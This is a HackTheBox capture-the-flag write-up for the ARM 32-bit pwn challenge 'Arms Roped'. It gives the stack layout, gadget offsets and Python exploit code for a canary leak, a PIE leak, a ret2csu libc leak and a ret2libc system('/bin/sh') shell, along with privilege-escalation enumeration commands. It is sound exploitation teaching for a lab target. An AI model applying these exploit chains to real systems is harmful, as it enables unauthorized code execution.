← Back to Writeups
HTBN/APwn

Arms Roped

XESXOR8/23/20269 min read
#pwn#htb#n/a

Arms Roped

Platform: HackTheBox | Category: Pwn | Type: Challenge | Difficulty: Hard | OS: NA | Author: D3v0o0Nu11 | Date: 2026-03-04 | Status: Solved Techniques: arm_ret2csu, byte_by_byte_leak, canary_leak_partial_overwrite, libc_leak_via_got_puts, multi_stage_rop, pie_leak_saved_lr, ret2libc_system_binsh

Summary

Task: ARM 32-bit binary exploitation under QEMU user-mode with PIE, Canary, and NX enabled. Solution: Multi-stage ROP chain — leak canary via partial overwrite, leak PIE base from saved LR, use ARM ret2csu to leak libc via GOT, then ret2libc with system("/bin/sh").

Recon

Port scan

nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn
PortServiceVersionNotes
<PORT><SVC><VER><notes>

Enumeration highlights

  • Event: hackthebox | ID: 20260304_hackthebox_arms_roped
  • Tags: arm32, aslr, canary_leak, got_leak, libc_csu_init, memcpy, pie_leak, pwn, qemu_user, ret2csu, ret2libc, rop, scanf_m, stack_overflow
  • Indicators: ARM 32-bit ELF binary, qemu-arm user-mode emulation, memcpy into fixed stack buffer without bounds check, scanf %m with %n byte count, loop that reads and echoes back via puts
  • Source: 20260304_hackthebox_arms_roped.md

Foothold

Vulnerability / Misconfiguration

  1. Arm_ret2csu
  2. Byte_by_byte_leak
  3. Canary_leak_partial_overwrite
  4. Libc_leak_via_got_puts
  5. Multi_stage_rop
<command>

Exploitation

  • See original writeup content for detailed exploitation.

Privilege Escalation

Enumeration

sudo -l
find / -perm -4000 2>/dev/null
getcap -r / 2>/dev/null
cat /etc/crontab
ps aux

Exploitation

  1. N/A for challenge-type writeup; see exploitation above.
  2. Flag obtained via challenge solve.
<command>

Flags

FlagLocationValue
flagREDACTED

Key Takeaways / Lessons

  • arm_ret2csu
  • byte_by_byte_leak
  • canary_leak_partial_overwrite
  • libc_leak_via_got_puts
  • multi_stage_rop
  • pie_leak_saved_lr
  • ret2libc_system_binsh
  • Tags: arm32, aslr, canary_leak, got_leak, libc_csu_init, memcpy, pie_leak, pwn, qemu_user, ret2csu, ret2libc, rop, scanf_m, stack_overflow

Original Writeup

<details><summary>Click to expand original content</summary>

Description

ARM binary exploitation challenge running under QEMU user-mode emulation with a custom ASLR patch.

ARM 32-bit ELF binary (little-endian, EABI5), dynamically linked, not stripped. Runs via qemu-arm with a custom ASLR patch. Contains a string_storer() function that reads strings in a loop, copies them to a stack buffer, and outputs them back via puts().

Remote target: 154.57.164.72:31410.

Files: arms_roped (ARM ELF binary), libc.so.6 (ARM 32-bit libc), Dockerfile (socat + qemu-arm), patch.diff (QEMU ASLR patch), build_docker.sh.

Protections

ProtectionStatus
PIEEnabled
NXEnabled
CanaryEnabled
RELROPartial

Infrastructure

socat tcp-l:1337,reuseaddr,fork EXEC:./qemu_arm -L /usr/arm-linux-gnueabihf/ ./arms_roped

QEMU user-mode typically doesn't support ASLR. The organizers added a custom patch (patch.diff) that randomizes addresses via srand(time(NULL)) — a weak entropy source, but this doesn't matter for exploitation since we obtain address leaks directly.

Analysis

Key Functions

main() (0x8dc)

Sets up stdout/stderr buffering via setvbuf, then calls string_storer().

string_storer() (0x790) — Vulnerable Function

Loop:

  1. scanf("%m[^\n]%n", &tmp, &n)%m allocates a heap buffer for input, %n writes the number of bytes read to a global variable n
  2. memcpy(stack_buf, tmp, n) — copies n bytes to a 32-byte stack buffer without bounds checking
  3. free(tmp) — frees the heap buffer
  4. memcmp(stack_buf, "quit", 4) — if it starts with "quit", exit the loop
  5. puts(stack_buf) — otherwise outputs the buffer contents
  6. Return to step 1

Stack Layout of string_storer()

fp-0x30: buffer[32]     ← memcpy destination (32 bytes)
fp-0x10: stack canary   ← 4 bytes
fp-0x0c: padding        ← 4 bytes
fp-0x08: saved r4       ← 4 bytes
fp-0x04: saved fp       ← 4 bytes
fp+0x00: saved lr       ← 4 bytes (return address)
  • Offset to canary: 32 bytes from buffer start
  • Offset to saved lr: 48 bytes from buffer start

Key Addresses in Binary (offsets from PIE base)

SymbolOffset
string_storer0x790
main0x8dc
pop {r4, pc}0x774
pop {r4, fp, pc}0x8b8
__libc_csu_init epilogue: pop {r4,r5,r6,r7,r8,sb,sl,pc}0x9ec
__libc_csu_init call gadget0x9cc
mov r0, r3; sub sp, fp, 8; pop {r4, fp, pc}0x974

Key Addresses in libc (offsets)

SymbolOffset
system0x2f511
/bin/sh0xdce0c
puts0x49ba5

Vulnerability

Stack buffer overflow via memcpy without bounds checking.

scanf("%m[^\n]%n", &tmp, &n) reads an arbitrary number of bytes, and memcpy(stack_buf, tmp, n) copies them all into a 32-byte stack buffer. Since the function operates in a loop and outputs buffer contents via puts(), we can:

  1. Read data from the stack (canary, saved lr) through partial overwrite + puts() output
  2. Write arbitrary data over the canary, saved registers, and return address

The loop allows multiple read/write iterations, enabling multi-stage exploitation.

Exploitation

ARM ROP Specifics

Unlike x86, ARM has fundamental differences:

  • Function arguments are passed via registers r0-r3, not the stack
  • Return address is stored in the Link Register (lr), not directly on the stack (but when calling subroutines, lr is saved to the stack)
  • Gadgets have the form pop {r0, ..., pc} instead of pop rdi; ret
  • Specific gadgets are needed to load arguments into r0

Stage 1: Stack Canary Leak

The canary is at offset 32 from the buffer start. The canary's LSB is always \x00 (null byte). puts() outputs the string until the first null byte.

Strategy: send 33 bytes (32 + 1), overwriting the null LSB of the canary. Now puts() will output the buffer contents + the remaining 3 bytes of the canary (until the next null byte).

# Send 33 bytes — overwrite canary LSB
payload = b'A' * 33
io.sendline(payload)

# Receive leak: 33 bytes padding + 3 bytes canary
leak = io.recvline()
canary_bytes = leak[33:36]
canary = u32(b'\x00' + canary_bytes)  # LSB = 0x00

Stage 2: PIE Base Leak (Saved LR)

Saved LR is at offset 48 from the buffer start. LR = PIE_base + 0x948 (address of the instruction after bl string_storer in main). Since PIE base is page-aligned, the LR's LSB is known: 0x48.

Strategy: byte-by-byte leak. Send 49, 50, 51 bytes, each time overwriting one additional byte of saved LR and reading the next via puts().

# Byte 0 of saved LR is known: 0x48
# Leak bytes 1, 2, 3:
for i in range(3):
    offset = 49 + i  # 49, 50, 51
    payload = b'A' * 32 + p32(canary) + b'B' * 12 + b'C' * (4 + i + 1)
    io.sendline(payload)
    leak = io.recvline()
    lr_byte = leak[offset]

pie_base = (lr_leaked - 0x948) & 0xfffff000

Important: with each leak, the canary must be restored to the correct value, otherwise the function will crash during verification.

Stage 3: Libc Leak via ROP (ret2csu)

Using the ARM variant of the ret2csu technique (__libc_csu_init gadgets) to call puts@plt(GOT_puts):

Gadget 1 (0x9ec) — register loading:

pop {r4, r5, r6, r7, r8, sb, sl, pc}

Gadget 2 (0x9cc) — function call:

ldr  r3, [r5]        ; loads function pointer from [r5]
mov  r0, r7          ; first argument = r7
mov  r1, r8          ; second argument = r8
mov  r2, sb          ; third argument = sb
blx  r3              ; call function
...
cmp  r4, sl          ; counter check
bne  loop            ; if r4 != sl, repeat
pop  {r4, r5, r6, r7, r8, sb, sl, pc}  ; epilogue

Chain:

rop  = p32(canary)           # restore canary
rop += b'B' * 12             # padding (saved padding + r4 + fp)
# Gadget 1: pop {r4, r5, r6, r7, r8, sb, sl, pc}
rop += p32(pie + 0x9ec)      # pc → gadget 1

# Registers for calling puts(GOT_puts):
rop += p32(0)                # r4 = 0 (counter)
rop += p32(pie + GOT_puts_ptr)  # r5 → address in GOT containing puts@plt
rop += p32(0)                # r6 (unused)
rop += p32(pie + GOT_puts)   # r7 = GOT_puts → r0 (argument for puts)
rop += p32(0)                # r8
rop += p32(0)                # sb
rop += p32(1)                # sl = 1 (so r4+1 == sl, exit loop)
rop += p32(pie + 0x9cc)      # pc → gadget 2 (call gadget)

# After call — epilogue pop {r4,r5,r6,r7,r8,sb,sl,pc}:
rop += p32(0) * 7            # r4-sl (placeholders)
rop += p32(pie + string_storer)  # pc → return to string_storer for Stage 4

Result: puts() outputs the runtime address of puts from GOT → calculate libc base:

puts_leak = u32(io.recv(4))
libc_base = puts_leak - 0x49ba5

Stage 4: Shell via system("/bin/sh")

With known libc base, use a gadget from libc:

# libc has gadget: pop {r0, r4, pc}
pop_r0_r4_pc = libc_base + <offset>

payload  = b'A' * 32
payload += p32(canary)
payload += b'B' * 12
payload += p32(pop_r0_r4_pc)          # pc → pop {r0, r4, pc}
payload += p32(libc_base + 0xdce0c)   # r0 = "/bin/sh"
payload += p32(0)                      # r4 (doesn't matter)
payload += p32(libc_base + 0x2f511)   # pc = system()

Send the payload, then "quit" to exit the string_storer() loop → function returns → ROP chain triggers → system("/bin/sh") → shell!

io.sendline(payload)
io.recvline()
io.sendline(b'quit')
io.interactive()
# cat flag.txt → HTB{REDACTED}

Full Exploitation Scheme

┌─────────────────────────────────────────────────────┐
│                   EXPLOIT FLOW                       │
├─────────────────────────────────────────────────────┤
│                                                      │
│  Stage 1: Canary Leak                                │
│  ├─ Send 33 bytes (overflow 1 byte into canary)      │
│  ├─ puts() leaks 3 remaining canary bytes            │
│  └─ Reconstruct: canary = \x00 + leaked[0:3]        │
│                                                      │
│  Stage 2: PIE Leak (saved LR)                        │
│  ├─ LR byte 0 = 0x48 (known, page-aligned base)     │
│  ├─ Send 49 bytes → leak LR byte 1                   │
│  ├─ Send 50 bytes → leak LR byte 2                   │
│  ├─ Send 51 bytes → leak LR byte 3                   │
│  └─ PIE base = (LR - 0x948) & 0xfffff000            │
│                                                      │
│  Stage 3: Libc Leak (ret2csu)                        │
│  ├─ ROP: pop regs → call puts(GOT_puts)             │
│  ├─ Leak runtime puts address                        │
│  ├─ libc_base = puts_leak - 0x49ba5                  │
│  └─ Return to string_storer for Stage 4              │
│                                                      │
│  Stage 4: Shell (ret2libc)                           │
│  ├─ ROP: pop {r0, r4, pc}                           │
│  ├─ r0 = &"/bin/sh", pc = system()                   │
│  ├─ Send "quit" to trigger return                    │
│  └─ system("/bin/sh") → interactive shell            │
│                                                      │
└─────────────────────────────────────────────────────┘
</details>

Auto-tracked: saved to WriteUps; run /xesor-revise to fold lessons into XESXor_Methodology.md.

signed by XESXOR